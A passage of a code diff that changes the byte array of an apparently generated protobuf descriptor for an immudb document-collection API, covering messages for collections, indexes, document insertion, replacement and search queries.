0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, + 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x65, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x12, 0x92, 0x41, 0x0f, 0x0a, 0x0d, + 0xd2, 0x01, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe5, 0x01, + 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, - 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x88, 0x01, 0x0a, - 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, + 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x3a, 0x35, + 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x69, + 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x13, 0x92, 0x41, 0x10, 0x0a, 0x0e, 0xd2, 0x01, 0x0b, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3b, 0x0a, 0x17, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x3a, 0x0c, 0x92, 0x41, 0x09, 0x0a, 0x07, 0xd2, + 0x01, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x83, 0x01, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, + 0x4e, 0x61, 0x6d, 0x65, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0xd2, 0x01, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9c, 0x01, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, + 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, + 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, 0x2a, 0x92, 0x41, 0x27, 0x0a, 0x25, 0xd2, 0x01, + 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, + 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0xd2, 0x01, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, + 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x75, 0x0a, 0x12, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, + 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x73, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, - 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x3a, - 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, - 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, - 0x65, 0x6c, 0x64, 0x73, 0x3a, 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x15, 0x0a, 0x13, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x8f, 0x01, 0x0a, 0x16, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, - 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, - 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x16, 0x92, - 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x61, 0x0a, 0x17, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x22, 0x88, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, - 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, - 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x22, 0x5a, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, - 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, - 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xc4, - 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, - 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, - 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x3a, 0x17, 0x92, 0x41, - 0x14, 0x0a, 0x12, 0xd2, 0x01, 0x04, 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, 0xd5, 0x01, 0x0a, 0x05, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, - 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x6f, 0x72, 0x64, 0x65, - 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, - 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x12, - 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, - 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x16, 0x92, 0x41, 0x13, 0x0a, 0x11, 0xd2, 0x01, 0x0e, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x5c, 0x0a, - 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, - 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, - 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x0f, - 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, - 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, - 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, - 0xd2, 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, - 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 